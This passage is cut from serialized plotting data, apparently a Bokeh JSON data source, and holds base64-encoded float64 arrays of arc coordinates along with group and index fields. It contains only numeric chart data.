/Jiyi9MZ+A/qf8MQQJ/4D+6QuwCrJbgPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ukLsAqyW4D8Jnr9jSa7gP1XA51HaxeA/aKLOu17d4D84lOeP1vTgP+dJr7xBDOE/+eirMKAj4T9LFW3a8TrhPxX+i6g2UuE/7mqriW5p4T/AyHdsmYDhP6Q2pz+3l+E/6JL58ceu4T/bhzhyy8XhP6mYN6/B3OE/Ky7Ul6rz4T+2o/UahgriP8lTjSdUIeI/5qSWrBQ44j8zFheZx07iPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"MxYXmcdO4j8nTB7cbGXiPy8dxmQEfOI/TJ4yIo6S4j+tL5IDCqniPyKJHfh3v+I/xsYX79fV4j9qdc7XKeziPwifmaFtAuM/ONfbO6MY4z+XRwKWyi7jPxK8hJ/jROM/Wq/lR+5a4z8jV7J+6nDjP2iwgjPYhuM/rYv5Vbec4z88mcTVh7LjPzh1nKJJyOM/6rNErPzd4z/E7YvioPPjPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"xO2L4qDz4z9+y0s1NgnkPyUSaZS8HuQ/HK/T7zM05D8gxIY3nEnkPyeziFv1XuQ/bCrrSz905D88MMv4eYnkP9guUVKlnuQ/RQCxSMGz5D8g+inMzcjkP0D5Bs3K3eQ/nW2eO7jy5D/eZVIIlgflPw6bkCNkHOU/N3zSfSIx5T/8OZ0H0UXlPxbSgbFvWuU/8xodbP5u5T8fzxcofYPlPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"H88XKH2D5T+9mCbW65flP+4cCmdKrOU/MwePy5jA5T/NFI701tTlP/Af7NIE6eU/LyuaVyL95T+ibJVzLxHmPxxZ5xcsJeY/W6+lNRg55j8og/K980zmP15I/KG+YOY/Gt790nh05j+nmT5CIojmP4VREuG6m+Y/VWjZoEKv5j/R1wBzucLmP447Akkf1uY/99tjFHTp5j8IubjGt/zmPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"CLm4xrf85j8SlaBR6g/nP3b/x6YLI+c/Wl/otxs25z9S/sd2GknnP+cSOtUHXOc/T8sexeNu5z/gV2M4roHnP5X1ASFnlOc/hfgBcQ6n5z9Y1ncapLnnP5EwhQ8ozOc/C99YQpre5z8w+i6l+vDnP0jlUCpJA+g/sFgVxIUV6D8WbOBksCfoP4agI//IOeg/rupdhc9L6D/YvBvqw13oPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"2Lwb6sNd6D+3cpcZdoHoP6ahCSPfpOg/lIG/nP7H6D9+3uEd1OroP1VRdj5fDek/R3Zgl58v6T+xIGPClFHpPx+MIVo+c+k/BYsg+puU6T+Yssc+rbXpPw+EYsVx1uk/YZMhLOn26T8mqxsSExfqP9ntThfvNuo/hPSh3HxW6j9+6uQDvHXqP6+m0i+slOo/6sERBE2z6j+KqjUlntHqPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"iqo1JZ7R6j/9g0y2qODqP261vzif7+o/zcFkoYH+6j8SLCDlTw3rP3h/5fgJHOs/01e30a8q6z+zaadkQTnrP5OK1qa+R+s/8rh0jSdW6z9rJMENfGTrP6s1Ch28cus/gpatsOeA6z/HORi+/o7rPzpjxjoBnes/ZK9DHO+q6z9fGytYyLjrP5AMJ+SMxus/c1jxtTzU6z80TFPD1+HrPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"NExTw9fh6z9RtCUCXu/rPzPkUGjP/Os/sL3M6ysK7D+RuKCCcxfsP+7p4yKmJOw/rgu9wsMx7D/Qg2JYzD7sP7trGtq/S+w/g5c6Pp5Y7D8hnSh7Z2XsP5DbWYcbcuw//4FTWbp+7D/clqrnQ4vsP9b+Aym4l+w/34MUFBek7D8c3KCfYLDsP7uwfcKUvOw/4aSPc7PI7D9lXMupvNTsPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ZVzLqbzU7D+YgjVcsODsP/PQ4oGO7Ow/wxX4EVf47D/HOqoDCgTtP7JLPk6nD+0/xHwJ6S4b7T8zMXHLoCbtP5wB6+z8Me0/YML8REM97T/9iTzLc0jtP0e3UHeOU+0/t/fvQJNe7T+OTeEfgmntP/kV/AtbdO0/Kg8o/R1/7T9kXl3ryontP+uVpM5hlO0/D7sWn+Ke7T/9S91UTantPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"/UvdVE2p7T+iRTLoobPtP3MpYFHgve0/MQPCiAjI7T+fbsOGGtLtPyGd4EMW3O0/Y1umuPvl7T/jFrLdyu/tP3PjsauD+e0/sYBkGyYD7j9yX5klsgzuPxmnMMMnFu4/8Tob7YYf7j9tv1qczyjuP2CfAcoBMu4/KxEzbx077j/ZGyOFIkTuPy2cFgURTe4/t0lj6OhV7j+9u28oql7uPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"vbtvKKpe7j8xbrO+VGfuP47GtqTob+4/rBgT1GV47j+Jq3JGzIDuP/q9kPUbie4/aIs521SR7j9jUErxdpnuPz9PsTGCoe4/ltRtlnap7j/IO5AZVLHuP13zObUaue4/eoGdY8rA7j8kiP4eY8juP5LJseHkz+4/YSwdpk/X7j/Lv7dmo97uP7q/CR7g5e4/7ZisxgXt7j/37EpbFPTuPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"9+xKWxT07j86lqDWC/vuP9WrejPsAe8/ioW3bLUI7z+Mv0Z9Zw/vP0g+KWACFu8/IjJxEIYc7z8jG0KJ8iLvP5XM0MVHKe8/nXBjwYUv7z+8i1F3rDXvP0oABOO7O+8/6BH1/7NB7z/baLDJlEfvP18V0zteTe8/8JILUhBT7z+CyxkIq1jvP6Yaz1kuXu8/uFAOQ5pj7z/htcu/7mjvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"4bXLv+5o7z8pDQ3MK27vP2OX6WNRc+8/IhaKg1947z+SzignVn3vP0SMEUs1gu8//aOh6/yG7z9k9kcFrYvvP6zyhJRFkO8/NJnqlcaU7z8UfhwGMJnvP5zLz+GBne8/z0TLJbyh7z/IR+fO3qXvPxXQDdrpqe8/AXk6RN2t7z/cf3oKubHvPybG7Cl9te8/utPBnym57z/o2DtpvrzvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"6Ng7ab687z97sK6DO8DvP73hf+ygw+8/Z6Imoe7G7z+E2CufJMrvP0UcKuRCze8/1bnNbUnQ7z8Js9Q5ONPvPxjBDkYP1u8/OVZdkM7Y7z86n7MWdtvvPwaFFtcF3u8/IK6cz33g7z8RgG7+3eLvP8YgxmEm5e8/53fv91bn7z8VMEi/b+nvPyq4P7Zw6+8/XkRX21nt7z9qzyEtK+/vPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"as8hLSvv7z+SG0Sq5PDvP66zdFGG8u8/Hex7IRD07z+v4zMZgvXvP3yEiDfc9u8/uoR3ex747z92ZxDkSPnvP0t9dHBb+u8/CeXWH1b77z9MjHzxOPzvPwgwvOQD/e8/CF3++Lb97z9ecL0tUv7vP8iXhYLV/u8/BtL09kD/7z8h77qKlP/vP6yQmT3Q/+8/7SlkD/T/7z8AAAAAAADwPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]}],\\\"arc_ys\\\":[{\\\"__ndarray__\\\":\\\"AAAAAAAAAACXhzINbbuEP63dg24nu5Q/MbfkGg0Ynz9C6kP5ELqkP5Th2TCQ56k/5HH+bWEUrz/AIIb3MCCyPz3t63u3tbQ/yHlM6bJKtz8px2noEd+5PxByICbDcrw/EA7cU7UFvz/8sAWU68vAP0NBSq+LFMI/LGSkXLJcwz8cTywAV6TEPzeSYwFx68U/O9Nuy/cxxz/ab0/N4nfIPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"2m9PzeJ3yD+m4T5JwwHLP7W6AkPOiM0/NN9G6l8G0D95Uoo1qkbRP56xEmckhdI/3ntaE63B0z9TfxEDI/zUP4komTZlNNY/8fl66VJq1z8oztiVy53YP6mI1veuztk/UNn8EN382j+ot5QrNijcP947+92aUN0/7XvtDex13j91FMzzCpjfP9IC645sW+A/okatORzp4D8m1PCbBXXhPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"JtTwmwV14T8jRDlroafjPxgiy59ztuU/BdL0/Lyd5z+NzhFCBlrpP3uTDXom6Oo/DStXvEhF7D/yactU8W7tPyOMMkkCY+4/z6IVNL8f7z8Y/+Zt0KPvP5hIvH5F7u8/jOwm1Jb+7z+wqg24ptTvP+LIxYbBcO8/4mwJJJ3T7j8xRcivV/7tP7aGLX118uw/o9ePT96x6z+Lk1Li2T7qPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"i5NS4tk+6j9orfPhDw/qP6bv292W3uk/zuuXG3Ct6T+fFEPlnHvpPwEVf4keSek/mAhrW/YV6T8ulpqyJeLoPzHsDOutreg/hp8jZZB46D/ebJmFzkLoP+HceLVpDOg/bssSYmPV5z8D0vT8vJ3nP9WV3/t3Zec/nvm82JUs5z+BM5YRGPPmPz7HiSgAueY/9GTBo09+5j/BrGcNCEPmPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"waxnDQhD5j+ZxIJZIlDlP3gJ/a5KVOQ/FNPgwOpP4z9OPPfWb0PiP/uT6p9KL+E/eUr7Ae8T4D9qa7bUp+PdP88rhzbmkts/MJy18ZE22T8Yhv6pqM/WP0mUGnQsX9Q/sP1saSPm0T+m6AR0LsvOPyMGHXopvck/F08sAFekxD8LDtxTtQW/Pxzt63u3tbQ/C+pD+RC6pD/90XXm7Cy3vA==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"/dF15uwst7xgt+5VeaSLvzmUalDUo5u/aOpD+RC6pL8RxnBRQKGrv63ph+KSQ7G/S+3re7e1tL8S6lzQ5Ca4v4uu28bxlru/GQ7cU7UFv7/SeJc9gznBv2zY9She78K/Hk8sAFekxL+TVulhWVjGv+0NWvhQC8i/OgYdeim9yb9leTSrzm3Lvz/i910sHc2/vegEdC7Lzr/yy5dv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"8suXb+A70L9S6TjRZxHRv7v9bGkj5tG/BGI8TAm60r9MDaeXD43Tv1SUGnQsX9S/XaznFFYw1b9WLLe4ggDWvyOG/qmoz9a/crNzP76d178AkIDcuWrYvzOctfGRNtm/7yI8/TwB2r/TvEeLscrav9Irhzbmktu/MoqUqNFZ3L/5xmSaah/dv21rttSn492/2KN/MICm3r+jhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"o4Zbl+pn3791FMzzCpjfv8e+mLwTyN+/4yPpzQT43796SvsB7xPgv1MYhp3PK+C/2X7DJ6RD4L/VAuuObFvgv6Y3PcEoc+C/mcwDrdiK4L8RmpFAfKLgv7SuQmoTuuC/p1x8GJ7R4L+lRq05HOngvxVtTbyNAOG/MTvejvIX4b8AlOqfSi/hv2/fBt6VRuG/SRfRN9Rd4b8o1PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"KNTwmwV14b9jfW5ZS7rhv3dzJQca/+G/Uzz31m9D4r+yH/H9Sofiv3gxWLSpyuK/bka1NYoN478V0+DA6k/jvzq0DpjJkeO//uDZACXT478EBlBE+xPkv3wJ/a5KVOS/pXf2kBGU5L+s1+Y9TtPkv2HoGA3/EeW/ncSCWSJQ5b8E79CBto3lv9REcei5yuW/gNed8yoH5r/FrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"xaxnDQhD5r/O7snRnWrmv11boKzwkea/QseJKAC55r+sIO7Qy9/mvzrL/zFTBue/ofm82JUs578DBfFSk1Lnv8LBNS9LeOe/CtL0/Lyd57/f9WhM6MLnv8ZYn67M5+e/59x4tWkM6L/IY6vzvjDov4IUw/zLVOi/jJ8jZZB46L/SfwnCC5zov4U5i6k9v+i/NJaasiXi6L9P3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"T94FdcME6b8HFX+JHknpv0L20LZLjOm/sDzq2kfO6b9urfPhDw/qv6/WdMagTuq/zCJ4kfeM6r/pPa5aEcrqv9fMkEjrBeu/eHOEkIJA67/TKPp21Hnrv6rXj0/eseu/zkkwfZ3o67/SXDJyDx7sv3Z+d7AxUuy/rW+JyQGF7L+pTLdefbbsv3zYMSGi5uy/PAsn0m0V7b844dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"OOHcQt5C7b8R5/KYE1ntv/Vpy1Txbu2/jmUhNXeE7b/ZFbb5pJntv9y2UWN6ru2/VkHEM/fC7b90JOYtG9ftv0H8mBXm6u2/M0XIr1f+7b94DGrCbxHuvy+dfxQuJO6/mSoWbpI27r8Rd0eYnEjuv+F3Ol1MWu6/F/YjiKFr7r//K0flm3zuv6hf9kE7je6/JHqTbH+d7r+Xm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"l5uQNGit7r85rHBq9bzuvwzqx98mzO6/Z3M8Z/za7r9kzobUdenuvwNtcvyS9+6/Gi7etFMF778q27zUtxLvv9KiFTS/H++/MZAErGks77/3/roWtzjvvzcMgE+nRO+/EASxMjpQ778LzMGdb1vvvyxKPW9HZu+/5cjFhsFw77+iVxXF3Xrvvy0o/guchO+/vehqPvyN77/JGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yRpfQP6W77819bnmW5vvv49m9/ahn++/Gf/mbdCj779c62lI56fvv3z2coPmq++/f4wGHM6v77+IvDoPnrPvvwE7N1pWt++/vGM1+va6778HPIDsf77vv610dC7xwe+/8muAvUrF7798LySXjMjvvy9+8bi2y++/AsqLIMnO77++OajLw9Hvv7KqDbim1O+/Y7KU43HX778hoCdMJdrvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"IaAnTCXa77+ZfsLvwNzvv1MVc8xE3++/KepY4LDh77+rQqUpBeTvv3klm6ZB5u+/j1uPVWbo77+Gceg0c+rvv8K4HkNo7O+/mEi8fkXu779m/1zmCvDvv5qDrni48e+/skRwNE7z778pfHMYzPTvv1gumyMy9u+/TivcVID377+UDz2rtvjvv+lE1iXV+e+/8ALSw9v677/KT2yEyvvvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yk9shMr777+wAPNmofzvv3K6xWpg/e+/8vFVjwf+77+M7CbUlv7vv3XAzTgO/++/CVXxvG3/778QY0pgtf/vv/B0oyLl/++/1+bYA/3/77/X5tgD/f/vv/B0oyLl/++/EGNKYLX/778JVfG8bf/vv3XAzTgO/++/jOwm1Jb+77/y8VWPB/7vv3K6xWpg/e+/sADzZqH877/KT2yEyvvvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yk9shMr777/vAtLD2/rvv+lE1iXV+e+/kw89q7b4779NK9xUgPfvv1cumyMy9u+/KHxzGMz077+xRHA0TvPvv5mDrni48e+/Zf9c5grw77+XSLx+Re7vv8G4HkNo7O+/hXHoNHPq77+OW49VZujvv3glm6ZB5u+/qkKlKQXk778o6ljgsOHvv1IVc8xE3++/l37C78Dc778foCdMJdrvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"H6AnTCXa779hspTjcdfvv7CqDbim1O+/vDmoy8PR778Byosgyc7vvy5+8bi2y++/ei8kl4zI77/xa4C9SsXvv6x0dC7xwe+/BjyA7H++77+6YzX69rrvv/86N1pWt++/hrw6D56z779+jAYczq/vv3r2coPmq++/W+tpSOen778X/+Zt0KPvv41m9/ahn++/M/W55lub77/HGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"xxpfQP6W77/r4CgHiZLvv7voaj78je+/TmiK6VeJ778qKP4LnITvv7uATqnIf++/oFcVxd16778FHf5i23Xvv+PIxYbBcO+/N9g6NJBr778pSj1vR2bvvy2dvjvnYO+/CMzBnW9b77/aSluZ4FXvvw8EsTI6UO+/SVX6bXxK7780DIBPp0Tvv2BjnNu6Pu+/9P66Frc4779p6VgFnDLvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"aelYBZwy778wkASsaSzvv0jAXQ8gJu+/0aIVNL8f77+Bue4eRxnvvyfbvNS3Eu+/ADBlWhEM778ZLt60UwXvv5qVL+l+/u6/Am1y/JL37r9a/dDzj/Duv2POhtR16e6/n6Lgo0Ti7r9mczxn/Nruv+RsCSSd0+6/CurH3ybM7r9wcAmgmcTuvzescGr1vO6/x2uxRDq17r+Wm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lpuQNGit7r/XQeQ/f6XuvyJ6k2x/ne6/C3GWwGiV7r+nX/ZBO43uvxuHzfb2hO6//StH5Zt87r/CkZ8TKnTuvxX2I4iha+6/JYwySQJj7r/gdzpdTFruvy7Ju8p/Ue6/D3dHmJxI7r+2Wn/Moj/uv5oqFm6SNu6/dHXPg2st7r8unX8ULiTuv9nRCyfaGu6/dgxqwm8R7r/PCaHt7gfuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"zwmh7e4H7r80RcivV/7tvzTzBxCq9O2/QvyYFebq7b9T98THC+Htv3Ik5i0b1+2/O2dnTxTN7b9YQcQz98Ltv+bMiOLDuO2/3bZRY3qu7b9UOcy9GqTtv9oVtvmkme2/mY/dHhmP7b+PZSE1d4Ttv7HMcES/ee2/9mnLVPFu7b9jTEFuDWTtvxLn8pgTWe2/CwsR3QNO7b854dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"OeHcQt5C7b865KfSojftvyza05RRLO2/as7Skeog7b89CyfSbRXtv48TY17bCe2/cpwpPzP+7L+6hi19dfLsv37YMSGi5uy/jLYJNLna7L/RXZi+us7sv8Yc0cmmwuy/q0y3Xn227L/bSl6GPqrsvwZy6Unqney/XROMsoCR7L+ub4nJAYXsv5CwNJhteOy/UOHwJ8Rr7L8E6DCCBV/svw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"BOgwggVf7L93fnewMVLsvxMrV7xIRey/uTlyr0o47L+QtHqTNyvsv9NcMnIPHuy/eqNqVdIQ7L/voQRHgAPsv6wS8VAZ9uu/1EkwfZ3o67+yLdLVDNvrv04v9mRnzeu/wELLNK2/67+s149P3rHrv5bRkb/6o+u/M4AujwKW67+ol9LI9Yfrv9Qo+nbUeeu/Y5kwpJ5r678CnBBbVF3rvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ApwQW1Rd679tKESm9U7rv35zhJCCQOu/LeeZJPsx6797GlxtXyPrv3DJsXWvFOu/3cyQSOsF678/Ev7wEvfqv4STDXom6Oq/w07i7iXZ6r/qPa5aEcrqv3hOssjouuq/9lg+RKyr6r+dGLHYW5zqv9MieJH3jOq/pd4Pen996r8wfAOe823qvxXs7AhUXuq/ttZ0xqBO6r+Vk1Li2T7qvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lZNS4tk+6r+TIExo/y7qvyEZNmQRH+q/dK3z4Q8P6r+cmXbt+v7pv60cv5LS7um/sO/b3Zbe6b+3POraR87pv8uVFZblvem/2+uXG3Ct6b+Thbl355zpv0n20LZLjOm/qRRD5Zx76b+J8YIP22rpv5nOEUIGWum/DhV/iR5J6b9BTGjyIzjpv1QQeYkWJ+m/owhrW/YV6b9W3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Vt4FdcME6b/YMh/jffPovzuWmrIl4ui/on1p8LrQ6L+MOYupPb/ovzzsDOutrei/2X8Jwguc6L+6nKk7V4rov5OfI2WQeOi/l4+7S7dm6L+JFMP8y1Tov+lsmYXOQui/z2Or874w6L8HR3NUnR7ov/HceLVpDOi/dVpRJCT657/OWJ+uzOfnv3zLEmJj1ee/6fVoTOjC578+YWx7W7Dnvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"PmFse1uw578U0vT8vJ3nvx8+594Mi+e/z8E1L0t457/jld/7d2Xnvw0F8VKTUue/V2GDQp0/57+v+bzYlSznv1YP0SN9Gee/R8v/MVMG57+QM5YRGPPmv7cg7tDL3+a/6TJufm7M5r9Qx4koALnmv0HtwN2Apea/blugrPCR5r8DZcGjT37mv9nuydGdaua/ZGRsRdtW5r/TrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"06xnDQhD5r8JIIc4JC/mv5J7otUvG+a/kded8yoH5r+em2mhFfPlv7RzAu7v3uW/4kRx6LnK5b8qIsufc7blvzZBMSMdouW/Fe/QgbaN5b/ahOPKP3nlv1xcrg25ZOW/rMSCWSJQ5b+99r29ezvlv+oJyUnFJuW/c+gYDf8R5b/wQy4XKf3kv9aJlXdD6OS/u9fmPU7T5L/I78V5Sb7kvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yO/FeUm+5L+3d/aQEZTkv7BRLDucaeS/RAgk9+k+5L8ZBlBE+xPkv4sZ16LQ6OO/PPaSk2q9479JtA6YyZHjv89NhTLuZeO/Axrg5dg5479+RrU1ig3jv41ORqYC4eK/QnB+vEK04r/CH/H9Sofiv6R42PAbWuK/GK0THLYs4r+GcyUHGv/hv+NxMjpI0eG/Xqf/PUGj4b841PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ONTwmwV14b9aF9E31F3hv4LfBt6VRuG/E5Tqn0ov4b8+O96O8hfhvyVtTbyNAOG/tkatORzp4L+7XHwYntHgv8iuQmoTuuC/JZqRQHyi4L+pzAOt2Irgv7c3PcEoc+C/5gLrjmxb4L/tfsMnpEPgv2cYhp3PK+C/kkr7Ae8T4L8FJOnNBPjfv+i+mLwTyN+/nRTM8wqY37/MhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"zIZbl+pn378qDzHLsjffv6skSLNjB9+/raCtc/3W3r/6o38wgKbevxZ87Q3sdd6/4Ic3MEFF3r/IHK+7fxTev51rttSn492/bGXAn7my3b87oFBBtYHdvwk8+92aUN2/Isdkmmof3b8LI0KbJO7cvwhpWAXJvNy/rc58/VeL3L9VipSo0Vncv9O3lCs2KNy/hTyCq4X227/wq3FNwMTbvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"8KtxTcDE278DLIc25pLbv2RZ9ov3YNu/qSsCc/Qu27982fwQ3fzav/28R4uxytq/hTdTB3KY2r/vlZ6qHmbav470t5q3M9q/KCM8/TwB2r/WiNb3rs7Zvx8IQbANnNm/fuJDTFlp2b9lnLXxkTbZv/ngesa3A9m/w2WG8MrQ2L9WztiVy53YvyuQgNy5ati/49WZ6pU32L8SY07mXwTYvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"EmNO5l8E2L+1d9X1F9HXv6yzcz++nde/L/p66VJq178jVUoa1jbXv7bYTfhHA9e/Vob+qajP1r87MOJV+JvWv5VciyI3aNa/xyiZNmU01r+CLLe4ggDWvyhdnc+PzNW/jfAPooyY1b9DQN9WeWTVv5is5xRWMNW/k38RAyP81L/cz1BI4MfUv+ljpQuOk9S/iJQadCxf1L/3L8eouyrUvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"9y/HqLsq1L+sXM3QO/bTvx98WhOtwdO/kA2nlw+N07+ukPaEY1jTv49olwKpI9O/973iN+Du0r9AYjxMCbrSv+CxEmckhdK//XberzFQ0r/syyJOMRvSv+/9bGkj5tG/WG9UKQix0b83enq133vRv7tSijWqRtG/l+k40WcR0b9OzkSwGNzQv88Rdvq8ptC/YSie11Rx0L8uzJdv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"LsyXb+A70L9430bqXwbQv5mdMN+moc+/heYDT3Y2z78n6QR0LsvOvwRXQp7PX86/PQfcHVr0zb89uwJDzojNv8ji910sHc2/EWANv3SxzL+sS6W2p0XMvxS5MZXF2cu/33k0q85ty78w4j5JwwHLv26M8b+jlcq/JR38X3Apyr+lBh16Kb3Jv0ZNIV/PUMm/XkrkX2LkyL9lcE/N4nfIvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ZXBPzeJ3yL94Dlr4UAvIv+wTCTKtnse/19Nuy/cxx79yyKoVMcXGvw9X6WFZWMa/xJJjAXHrxb9SAF9FeH7Fv1xZLX9vEcW/uU8sAFekxL+cUMUZLzfEv1NIbR34ycO/vGSkXLJcw7/32PUoXu/Cv2yg99P7gcK/4kFKr4sUwr9/kpgMDqfBv055lz2DOcG/jLEFlOvLwL8ljqthR17Avw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"JY6rYUdewL8UebXwLeG/v1EP3FO1Bb+/nzWSkCUqvr/tiLBKf069vzRzICbDcry/pK/bxvGWu79N0evQC7u6v27IaegR37m/BWh9sQQDub8L61zQ5Ca4v+96TOmySre/erOdoG9utr83Ka+aG5K1v4Tu63u3tbS/4xjL6EPZs78ARs+Fwfyyv+khhvcwILK/x+qH4pJDsb8F93br52awvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Bfd26+dmsL94dP5tYRSvv4+Uq9PbWq2/xchwUUChq7/s49kwkOepv0MdgrvMLai/gxcTO/dzpr/c7EP5ELqkv2U42D8bAKO/DCCfWBdGob/pu+QaDRifv6OYalDUo5u/dNin5YYvmL/r4oNuJ7uUv3+X8364RpG/M8LuVXmki78bkTINbbuEvy4wrJeipHu/dGQh6Kyka7/ARTFjYhr1vA==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]}],\\\"group\\\":[1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2],\\\"index\\\":{\\\"__ndarray__\\\":\\\"AAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAA\\\",\\\"dtype\\\":\\\"int32\\\",\\\"shape\\\":[39]},\\\"index_hover\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5\\\",\\\"6\\\",\\\"7\\\",\\\"8\\\",\\\"9\\\",\\\"10\\\",\\\"11\\\",\\\"12\\\",\\\"13\\\",\\\"14\\\",\\\"15\\\",\\\"16\\\",\\\"17\\\",\\\"18\\\",\\\"19\\\",\\\"20\\\",\\\"21\\\",\\\"22\\\",\\\"23\\\",\\\"24\\\",\\\"25\\\",\\\"26\\\",\\\"27\\\",\\\"28\\\",\\\"29\\\",\\\"30\\\",\\\"31\\\",\\\"32\\\",\\\"33\\\",\\\"34\\\",\\\"35\\\",\\\"36\\\",\\\"37\\\",\\\"38\\\"],\\\"index_str__\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5\\\",\\\"6\\\",\\